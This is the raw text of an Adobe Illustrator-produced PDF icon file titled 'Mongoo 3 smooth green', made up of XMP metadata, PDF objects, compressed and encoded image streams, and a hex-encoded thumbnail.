tT6zo00Xj6Uyyf8SWPD4qfFTQ&#xA;fnx5ONs0noXgmUfDA0aVY+HIOVw+KE+IHm3nL82PMXmNHtYyNO0xtjawsSzjwlk2LfIAD2yuUyWu&#xA;UyWEZBg7FXYq7FXYq7FV8cMktfTXkR+yOv0DqfoxV0kMsRAkRkJFQGBFR9OKsl/LzzbeeWdeF3FC&#xA;9zayr6d7boKkx1ryX/KU7j7u+GMqLKEqL3fR/P2m69epZaNDcSOV9S5nliaKOGMdal/tOTsoAP3D&#xA;LxO+TeJWyjJsnYq7FXYq7FXYq7FXYq7FXYq7FXYqoXt9ZWNs91ezx21vGKvLKwRR9JxtbeZeZvz3&#xA;0q1LwaBbG/lG31qascHzVdnf/hcqOXuajk7nl2v/AJgebddLLfajJ6Df8esJ9KKngVSnL/ZVysyJ&#xA;azIljuRYuxV2KuxV2KuxV2KuxV2KuxV2KuxV2KuxVWt3uSwhh5OZCAIQOYZjsPg3BP0Yq9G8r/k1&#xA;5l1f059bkOl2H2hAQPXI/wAmIfDH/st/bLI4yebYMZPN7H5Z8paH5as2tdKg9ISEGaViWkkZdgXY&#xA;/PoNsuEQG4RATjCl2KuxV2KuxV2KuxV2KuxV2KuxVgvnv819I8t87K0Av9YGxgU/u4j/AMWsO/8A&#xA;kjfxpkJTphKdPCfMXmrXfMN39Z1W6aYgn0oR8MUYPZEGw+fU98oMiWgyJSjAh2KuxV2KuxV2KuxV&#xA;2KuxV2KuxV2KuxV2KuxV2KvS/wAh9LW581XN861WxtjwPhJKwUH/AIDllmIbtmMbvfMvb3Yq7FXY&#xA;q7FXYq7FXYq7FXYq7FXYq8p/Nb803055NB0KUfXaFb68U1MNdjGh/wB+eJ/Z+fSqc+gapz6B4ezM&#xA;zFmJZmNSTuSTlLS1irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdir3D/nH2y4aPq17T+/uI&#xA;4a/8YU5f8zsuxN2J6vlra7FXYq7FXYq7FXYq7FXYq7FXYqwX81fPv+GtJFpZOP0zfKRB3MUfRpSP&#xA;Hsvv8shOVMJyp85szOxdyWZjVmO5JPUk5juO1irsVdirsVdirsVdirsVdirsVdirsVdirsVdirsV&#xA;dirsVfTH5TaQ+meRdPWReMt2Gu3H/GY1T/knxzIgKDkQFBl+TZuxV2KuxV2KuxV2KuxV2KuxVC6p&#xA;qVppenXOoXb8La1jaSVvZR0HuegwE0gmnyt5m8wXnmDW7rVbs/HO3wR9QkY2RB/qrmMTZcYmyleB&#xA;DsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVT7yR5Zm8x+Y7TTUB9At6l24/ZgQ1c/T9k&#xA;e5wxFllEWX1PHGkcaxxqFjQBUUbAACgAzKcldirsVdirsVdirsVdirsVdirsVeO/nz5pIFt5bt32&#xA;YC5vqHtX91Gfu5Ef6uU5ZdGnLLo8aypqdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirsVdirs&#xA;VfR35T+Sf8OaF9Zu4+OragFkuARvHH1SL2IrVvf5ZkQjQciEaDOcmzdirsVdirsVdirsVdirsVdi&#xA;qld3UFpazXVwwSC3RpZXPRUQFmP0AYq+TvMOsz61rd7qs/8AeXcrSBf5V6Iv+xUAZik2XFJspdgQ&#xA;7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXqH5M+Qjqd6PMOoR/7j7N/9DjYbSzr+1v1&#xA;WP8A4l8jlmON7tmON7vd8vb3YLine truncated
</rdf:li>
</rdf:Alt>
</xmp:Thumbnails>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/"
xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#"
xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/">
<xmpTPg:NPages>1</xmpTPg:NPages>
<xmpTPg:HasVisibleTransparency>False</xmpTPg:HasVisibleTransparency>
<xmpTPg:HasVisibleOverprint>False</xmpTPg:HasVisibleOverprint>
<xmpTPg:MaxPageSize rdf:parseType="Resource">
<stDim:w>64.000000</stDim:w>
<stDim:h>64.000000</stDim:h>
<stDim:unit>Points</stDim:unit>
</xmpTPg:MaxPageSize>
<xmpTPg:PlateNames>
<rdf:Seq>
<rdf:li>Cyan</rdf:li>
<rdf:li>Magenta</rdf:li>
<rdf:li>Yellow</rdf:li>
<rdf:li>Black</rdf:li>
</rdf:Seq>
</xmpTPg:PlateNames>
<xmpTPg:SwatchGroups>
<rdf:Seq>
<rdf:li rdf:parseType="Resource">
<xmpG:groupName>Default Swatch Group</xmpG:groupName>
<xmpG:groupType>0</xmpG:groupType>
</rdf:li>
</rdf:Seq>
</xmpTPg:SwatchGroups>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/">
<illustrator:Type>Document</illustrator:Type>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>application/pdf</dc:format>
<dc:title>
<rdf:Alt>
<rdf:li xml:lang="x-default">Mongoo 3 smooth green</rdf:li>
</rdf:Alt>
</dc:title>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
<xmpMM:RenditionClass>proof:pdf</xmpMM:RenditionClass>
<xmpMM:DocumentID>uuid:a2f6b830-2598-49b9-8770-4f9fa14f1be3</xmpMM:DocumentID>
<xmpMM:InstanceID>uuid:42245d04-b042-4038-b450-94c7cfb8ee6f</xmpMM:InstanceID>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
<pdf:Producer>Adobe PDF library 10.01</pdf:Producer>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
endstream␍endobj␍3 0 obj␍<</Count 1/Kids[7 0 R]/Type/Pages>>␍endobj␍7 0 obj␍<</ArtBox[0.643066 4.46875 63.2324 59.6494]/BleedBox[0.0 0.0 64.0 64.0]/Contents 8 0 R/LastModified(D:20130102172747+01'00')/MediaBox[0.0 0.0 64.0 64.0]/Parent 3 0 R/PieceInfo<</Illustrator 9 0 R>>/Resources<</ExtGState<</GS0 10 0 R>>/Properties<</MC0 5 0 R>>>>/Thumb 11 0 R/TrimBox[0.0 0.0 64.0 64.0]/Type/Page>>␍endobj␍8 0 obj␍<</Filter/FlateDecode/Length 1251>>stream
H‰t–KŽ•7…çÿ*¼�kì²]¶§!#Y@+�A "±û|§Ü}i"E4}»ü¨Ç©SÇ÷Õ¯¯Ó«·¯Kúéç×éú|•ä]?7þùãú=ýu•Ül¤’»u~7éˇëÕ›÷%}øûúœj*ü«©ö<gÉfÞ­{zøtiãÓu«yøL–K[øÍ¥®ÄRK_Ù­oÌb5ÝêÊ}Xº�\pp«5ouµ§‡ëÖòžø°�}�ÔKøºÕ�7Oß.㪱P
Õ¼†‡Ûʹ¯—åÞ,üY›ªhN,Ï«,,ëºjyt#V˶å»äéÆîZ-vw_©åÚ”é¬ÅÙ™{ìŽ<¨¥äíÖÄ/‡ÌG˜»ê°NùЏըÙ#�Îåª"
Þw\¨»§ÇËH;ʹ�•¬e¯Ç¡¨qùýþC€Pq¸ù°D ,OrµžW·€Ö÷ÔiúÑçk¢EÓmåmç|9Φ%eÒ´Õ,"�CºÍ<F�¬¦ºÛÆÒ�ä¶:Y)žÍ¥;Í6•¨¤h#‘¢À8âɆæŽ>Ò»\µ¢(JØ\›^v@_ÈŸ= ,ñ<• Ûf€³pÒÈÐOǽˆ!,L÷XèKå²ÐK‹nP.6mj~X±ì,¬ÚO»è. 6oDh:�œw:ĉ G‡a÷Ȃh ½žŠ`ÖhJ˃,¿ÊÁò㱪€1³G›j '­ž6ì„55WÌ `mu��¢¼E*âdžpƒyé\„—¤×-C*�ß›s�ÐД'ÜÁ"=E‚N’ÕÓS¹¥B€à¤êÇ«“ÇàôŽšî64nSxq~Žž åÄŸî×%›D£†³SMSqXcXÕöV¹␍Ö[¶&Žê–è)øܼ˜ì…~¨␍H–8Â]@ôVí">vñ° „Ikw»,ãP0QºIl†§k[jHž ñªaµc¸èg-¢2*u]Ù 8®!ɰý<“:HWÈ­®U+±)·_/±E¸#^]¢R¥“”ZÒ¯èÏŒR:à„Ú‰ë–␍8}å=AOá@AXé!Øß®?¯wW•pKÏ¿ë8 ôÚIû»„Çà€"%Ãuè-£³o� “¤2æ[LZ}Ÿý…ÜJ¼M=ÄYLÔ5ö£-9°}ö›î3ñþt~Ä�ÑŽyÖÀ¯^ïæyG¯�QÖËjè�Bçå«T JãÍ”©'©¸†¯Âך™„ª"þHhßãs1Pi Ê[#!_R7i޲Ÿ|Qbgñ•xd ¢º3Bøñ±¸VC*U%irGÉÓõp•?Ì�À|ïžÔ/’˜TòŸ.z¤KÙ¥ù˲åEZ©�¦ßkÄÇûÙzГݥÈO»5ž®ç‹Ç*çXüù¼®;?8¼û‹`Ç*OçK¸ø:=ÀÒ·žnûáËDÕs/$Ò«ç»!Õ¬"²1~RÐ"Uǰ“ÿ4‰¢l�û5ð�?—Y4FßC¸ÜìÔ×$̰¿?‰jXC§7·ÓáS¢
ÇV~…a‹8´êC$èâïÝ,1_`ðÛv¥ãÿ¤žÞ¦û‰{4 qÒ¾ê;²
¼¥g¶N ôÜÃ uåm;4
ëýƒâÔ>hÒ�ê·€—ü d{ö«îŠ–2wðç:¯ù|Rƒoáþ—·|©|wý+ÀWûµ
endstream␍endobj␍11 0 obj␍<</BitsPerComponent 8/ColorSpace 12 0 R/Filter[/ASCII85Decode/FlateDecode]/Height 8/Length 60/Width 8>>stream
8;Xp,*=RnBA=+-oL^=GFM?1!l_%=Zlo8S9:+GRslKjBJT)I<XS0E>k]*Q8~>
endstream␍endobj␍12 0 obj␍[/Indexed/DeviceRGB 255 13 0 R]␍endobj␍13 0 obj␍<</Filter[/ASCII85Decode/FlateDecode]/Length 428>>stream
8;X]O>EqN@%''O_@%e@?J;%+8(9e>X=MR6S?i^YgA3=].HDXF.R$lIL@"pJ+EP(%0
b]6ajmNZn*!='OQZeQ^Y*,=]?C.B+\Ulg9dhD*"iC[;*=3`oP1[!S^)?1)IZ4dup`
E1r!/,*0[*9.aFIR2&b-C#s<Xl5FH@[<=!#6V)uDBXnIr.F>oRZ7Dl%MLY\.?d>Mn
6%Q2oYfNRF$$+ON<+]RUJmC0I<jlL.oXisZ;SYU[/7#<&37rclQKqeJe#,UF7Rgb1
VNWFKf>nDZ4OTs0S!saG>GGKUlQ*Q?45:CI&4J'_2j<etJICj7e7nPMb=O6S7UOH<
PO7r\I.Hu&e0d&E<.')fERr/l+*W,)q^D*ai5<uuLX.7g/>$XKrcYp0n+Xl_nU*O(
l[$6Nn+Z_Nq0]s7hs]`XX1nZ8&94a\~>
endstream␍endobj␍5 0 obj␍<</Intent 14 0 R/Name(svg2)/Type/OCG/Usage 15 0 R>>␍endobj␍14 0 obj␍[/View/Design]␍endobj␍15 0 obj␍<</CreatorInfo<</Creator(Adobe Illustrator 16.0)/Subtype/Artwork>>>>␍endobj␍10 0 obj␍<</AIS false/BM/Normal/CA 1.0/OP false/OPM 1/SA true/SMask/None/Type/ExtGState/ca 1.0/op false>>␍endobj␍9 0 obj␍<</LastModified(D:20130102172747+01'00')/Private 16 0 R>>␍endobj␍16 0 obj␍<</AIMetaData 17 0 R/AIPrivateData1 18 0 R/AIPrivateData2 19 0 R/ContainerVersion 11/CreatorVersion 16/NumBlock 2/RoundtripStreamType 1/RoundtripVersion 16>>␍endobj␍17 0 obj␍<</Length 1003>>stream
%!PS-Adobe-3.0
%%Creator: Adobe Illustrator(R) 16.0
%%AI8_CreatorVersion: 16.0.3
%%For: (Calum) ()
%%Title: (Mongoo 3 smooth green.svg)
%%CreationDate: 1/2/2013 5:27 PM
%%Canvassize: 16383
%%BoundingBox: 274 368 337 425
%%HiResBoundingBox: 274.1431 368.9688 336.7324 424.1494
%%DocumentProcessColors: Cyan Magenta Yellow Black
%AI5_FileFormat 12.0
%AI12_BuildNumber: 691
%AI3_ColorUsage: Color
%AI7_ImageSettings: 0
%%RGBProcessColor: 0 0 0 ([Registration])
%AI3_Cropmarks: 273.5 364.5 337.5 428.5
%AI3_TemplateBox: 305.5 396.5 305.5 396.5
%AI3_TileBox: 16.2998 -16 594.7002 809
%AI3_DocumentPreview: None
%AI5_ArtSize: 14400 14400
%AI5_RulerUnits: 2
%AI9_ColorModel: 1
%AI5_ArtFlags: 0 0 0 1 0 0 1 0 0
%AI5_TargetResolution: 800
%AI5_NumLayers: 1
%AI9_OpenToView: -285 842 1 1189 873 26 0 0 46 116 0 0 0 1 1 0 1 1 0 1
%AI5_OpenViewLayers: 7
%%PageOrigin:0 0
%AI7_GridSettings: 72 8 72 8 1 0 0.8 0.8 0.8 0.9 0.9 0.9
%AI9_Flatten: 1
%AI12_CMSettings: 00.MS
%%EndComments
endstream␍endobj␍18 0 obj␍<</Length 19265>>stream
%%BoundingBox: 274 368 337 425
%%HiResBoundingBox: 274.1431 368.9688 336.7324 424.1494
%AI7_Thumbnail: 128 116 8
%%BeginData: 19108 Hex Bytes
%0000330000660000990000CC0033000033330033660033990033CC0033FF
%0066000066330066660066990066CC0066FF009900009933009966009999
%0099CC0099FF00CC0000CC3300CC6600CC9900CCCC00CCFF00FF3300FF66
%00FF9900FFCC3300003300333300663300993300CC3300FF333300333333
%3333663333993333CC3333FF3366003366333366663366993366CC3366FF
%3399003399333399663399993399CC3399FF33CC0033CC3333CC6633CC99
%33CCCC33CCFF33FF0033FF3333FF6633FF9933FFCC33FFFF660000660033
%6600666600996600CC6600FF6633006633336633666633996633CC6633FF
%6666006666336666666666996666CC6666FF669900669933669966669999
%6699CC6699FF66CC0066CC3366CC6666CC9966CCCC66CCFF66FF0066FF33
%66FF6666FF9966FFCC66FFFF9900009900339900669900999900CC9900FF
%9933009933339933669933999933CC9933FF996600996633996666996699
%9966CC9966FF9999009999339999669999999999CC9999FF99CC0099CC33
%99CC6699CC9999CCCC99CCFF99FF0099FF3399FF6699FF9999FFCC99FFFF
%CC0000CC0033CC0066CC0099CC00CCCC00FFCC3300CC3333CC3366CC3399
%CC33CCCC33FFCC6600CC6633CC6666CC6699CC66CCCC66FFCC9900CC9933
%CC9966CC9999CC99CCCC99FFCCCC00CCCC33CCCC66CCCC99CCCCCCCCCCFF
%CCFF00CCFF33CCFF66CCFF99CCFFCCCCFFFFFF0033FF0066FF0099FF00CC
%FF3300FF3333FF3366FF3399FF33CCFF33FFFF6600FF6633FF6666FF6699
%FF66CCFF66FFFF9900FF9933FF9966FF9999FF99CCFF99FFFFCC00FFCC33
%FFCC66FFCC99FFCCCCFFCCFFFFFF33FFFF66FFFF99FFFFCC110000001100
%000011111111220000002200000022222222440000004400000044444444
%550000005500000055555555770000007700000077777777880000008800
%000088888888AA000000AA000000AAAAAAAABB000000BB000000BBBBBBBB
%DD000000DD000000DDDDDDDDEE000000EE000000EEEEEEEE0000000000FF
%00FF0000FFFFFF0000FF00FFFFFF00FFFFFF
%524C45FD77FFA8A8FD7EFF7D58FD7EFF2D7DFD6BFF7C585283A8FD0DFF52
%5152FD6AFF52522D582D52527D7D837DFD04A8FFA8FF83585258FD69FF52
%522DA8A883522D2D522D512D522D522D5852522D5252FD68FF7D522DA7FF
%FFA8AE7D5851585258515852522D5852582D58A8FD66FFA8522D5283FFA8
%52517D58522D522D522D522D522D522D522DA8FD66FF832D5852FFFFA82D
%5852585258525852585258525852585258A8FD66FF2D522D52A8FF52522D
%5851522D5851522D5851522D5851522D83FD65FF835251527CFFFF7D2D58
%515852585158525851585258515852582DA8FD64FF582D522DA8FFA85152
%2D522D522D522D522D522D522D522D522D522DFD64FF52582D7DFFFF5258
%525852585258525852585258525852585258525858FD62FFA8582D52A8FF
%83522D5851522D5851522D5851522D5851522D5851522D527DFD61FFA82D
%5258FFFFFF585251585258515852522D5851522D585258515852585258A8
%FD60FF7D512DA8FFA852582D522D522D522D5258A8A7A87D522D522D522D
%5251582D7DFD60FF7D2D587D582D5852585258525852587DFF7C5151FFFF
%A7515852585258525858FD5FFFAE2D522D522D522D5851522D58515251FF
%A726202651FFFF832D522D582D585258A8FD5EFF58525258515852585158
%5258515852527DA82626207CFFFFFF5852585158525852FD5EFF7D512D52
%2D522D522D522D522D522D522D52527C517CA8FFFFA82D522D522D522D52
%7DFD5CFFAE5851585258525852585258525852585258525852A8FFFFA87D
%2D58525852582D522DA8FD5BFFA8582D522D5851522D5851522D5851522D
%5851522D522D5858582D522D58515252A8A8837CFD5BFF7D2D5852585158
%5258515852585158525851585258515851522D585258515852A8FD04FFA8
%FD58FFA8582D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D58FD05FFCFFD57FF83585158525852585258525852585258
%52585258525852585258525852585258525852FD5CFF58522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D527DFD
%46FFA8A883837D837D7D7D837DA783A8A8FFFFFFAE835152525851585258
%515852585158525851585258515852585158525851585258515852585158
%A7FFFFFFA8FD3EFF838352522D522D512D522D512D522D522D5251585258
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%525851522D522D522D587C7D58FD3CFFA87D52582D525158525852585258
%525852585258525851585258525852585258525852585258525852585258
%525852585258525852585258587C527D5258527D525252FD3AFFA87D5152
%2D522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D522D525158
%52522D5258A8FD38FFA858582D5251585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%52585158525851585258515852582D522D7DA8FD38FF7D582D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D51
%52A8FD38FFA8525252585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%525852585258525852585258525883FD38FFA87C2D522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D5258FD
%38FF7D522D58525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%5158525851585258515852582DA8FD36FFA852522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%A8FD35FFA82D585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852FD35FF832D522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D582D58FD34FF832D58525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%5258515852585158525851585258515852585158525851587CFD33FF832D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D7DFD32FFA82D58525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525283FD31FFA82D5251522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522DA8FD31
%FF5252515852585158525851585258515852585158525851585258515852
%585158525851585258515852585158525851585258515852585158525851
%58525851585258515852585158525851585258A8FD30FF58522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D5258FD30FFA75852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%5852582DA8FD2FFFA8522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D58A8FD
%2FFF832D5851585258515852585158525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%5851585258515852585158525851585258515852527DFD2FFFA82D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522DAEFD2FFF5858525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852582DA7FD2FFFA8522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D58AEFD2FFF7D5158515852585158525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%58515852585158525851585258515852585158525851585252A7FD2FFFA8
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D5258FD30FF5858525852585258
%525852585258525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%5258525852585258525852FD30FFA8522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522DA8FD30FF832D585158525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%5258515852585158525851585258515852585158525851582D7DFD31FF51
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D58A8FD30FFA85852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585158A8FD31FF7D2D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585151
%7DFD32FF5252515852585158525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515258FD32FF7D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522DFD33FF83515852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%58525852585258525852585258525852585258525852585258525852582D
%AEFD33FF515251522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D582D83FD25FFA8AEA8A883A8A8
%AEFD06FFA852515852585158525851585258515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%5258515852585158525851585258515852582D7DFD23FFA88352522D522D
%2D2D522D5858A8FFFFFF832D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D52A8FD22FF7C
%582D52515852585258525851582D7CA8FF58585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%52A8FD20FFA8832D522D5851522D5851522D5851522D522D527D582D522D
%5851522D5851522D5851522D5851522D5851522D5851522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%5851522D5851522D527DFD20FFA8582D5852585158525851585258515852
%585158525251585258515852585158525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%585158525851585258515852585158525258FD20FF7D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D5252FD20FF83
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%5852582DA8FD1FFFA8522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5283FD1EFFA85851585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%51585258515852582D5852585158525851585258515852582DA8FD1EFF7D
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D5283FD1DFFA82D585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%A8A858525852585258525852585258525851FD1EFF52522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%5851522D5851522D5851522D5851522D5851522D5851522D5851522D5851
%522D5851522D582D527DFFFFFF525251522D5851522D5851522D582D52A8
%FD1CFFA85252585158525851585258515852585158525851585258515852
%585158525851585258515852585158525851585258515852585158525851
%585258515852585158525851585258515852582D7DA8FD04FFA82D585258
%5158525851585258515852AEFD1CFF7D2D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D58A8FD05FFA8582D522D522D522D522D522D522D52A8FD1CFF52585258
%525852585258525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%52585258525852585258525852FD07FF7D52525852585258525852585258
%52AEFD1BFF83522D5851522D5851522D5851522D5851522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%5851522D5851522D5851522D5851522D5851522D582D58AEFD07FF2D5251
%522D5851522D5851522D52A8FD1BFF832D58515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%51527DFD08FF7D2D58525851585258515852582DAEFD1BFF52522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522DA8FD08FFA8522D522D522D522D522D522D527D
%FD1BFF585258525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%5258525852585258525852585258525852582D7DFD0AFF58585258525852
%58525852582DA8FD1BFF2D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D582D52A8FD0AFF
%A82D5851522D5851522D582D527DFD1BFF58515852585158525851585258
%515852585158525851585258515852585158525851585258515852585158
%525851585258515852585158525851585258515852585158525851585258
%5158A8FD0CFF582D5852585158525851582DA8FD1BFF2D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522DA7A8FD0BFF7D512D522D522D522D522D527DFD1BFF5852
%585258525852585258525852585258525852585258525852585258525852
%585258525852585258525852585258525852585258525852585258525852
%5852585258525852585258525851587DAEFD09FFAE2D5852585258525852
%585183FD1BFF52522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D582D522D7DFD09FF58
%2D5851522D5851522D5258FD1BFF7D525851585258515852585158525851
%585258515852585158525851585258515852585158525851585258515852
%585158525851585258515852585158525851585258515852585158525851
%5852582DA7FD08FF7D5251585258515852582D7CFD1BFF58522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522D522D522D522D522D522D522D522D522D
%522D522D522D522D522D522D522DA8FD07FFA82D522D522D522D522D522D
%FD1BFFA82D58525852585258525852585258525852585258525852585258
%525852585258525852585258525852585258525852585258525852585258
%52585258525852585258525852585258525852585258525258FD07FFA858
%52585258525852585258A8FD1AFFA7522D522D5851522D5851522D585152
%2D5851522D5851522D5851522D5851522D5851522D5851522D5851522D58
%51522D5851522D5851522D5851522D5851522D5851522D5851522D585152
%2D522D522D7DAEFD07FF2D522D5851522D5851522DA8FD1BFF5258525851
%58525851585258515852585158525851585258515852582D52527D515852
%585158525851585258515852585158525851585258515852585158525851
%58525851585258515858837DA8A8FD09FFA858525851585258515852527D
%FD1BFF7D2D522D522D522D522D522D522D522D522D522D522D522D522D52
%2D527DFFA8522D522D522D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D7DA8FD0CFFCF2D522D522D522D
%522D522D58A8FD1AFF7D5252585258525852585258525852585258525852
%585258525852527DFFFFFF52585258525852585258525852585258525852
%585258525852585258525852585258525852585258525851587DFD0CFF58
%525852585258525852582D7CA8FD19FFAE2D5251522D5851522D5851522D
%5851522D5851522D5851522D582D83FFFFFF7D2D5251522D5851522D5851
%522D5851522D5851522D5851522D5851522D5851522D5851522D5851522D
%582D5158FD0BFF525251522D5851522D5851522D527DFD19FF7D2D585258
%515852585158525851585258515852585158525851527DFD04FF7D2D5251
%585158525851585258515852585158525851585258515852585158525851
%585258515852585158525258FD0AFF7D2D585258515852582D5852582D58
%AEFD18FF83512D522D522D522D522D522D522D522D522D522D522D522D52
%2D58FD05FFA87D582D512D522D522D522D522D522D522D522D522D522D52
%2D522D522D522D522D522D522D522D522D522D2D52FD09FF7D512D522D52
%2D522D7C52522D522DA8FD19FF5258525852585258525852585258525852
%58525852585258525851AEFD07FFAE7D7D52522D58525852585258525852
%585258525851588383587D52582D5851522D5851522D585158527DA8FD09
%FF525852585258525852FFA87D2D58A8FD19FF832D5851522D5851522D58
%51522D5851522D5851522D5851522D5258FD0BFFA87D585851522D522D52
%2D522D522D582D2D7DFFFFFFCFFFA8A87D837D7D587D587D7DA8A8FD0CFF
%A82D5251522D58515252FFFFCFA8FD1BFF582D5852585158525851585258
%51585258515852585158525851527DFD0FFFA8A87D837C7D525852522D58
%7DFD20FF7D2D5852585158525252FD1EFF7D512D522D522D522D522D522D
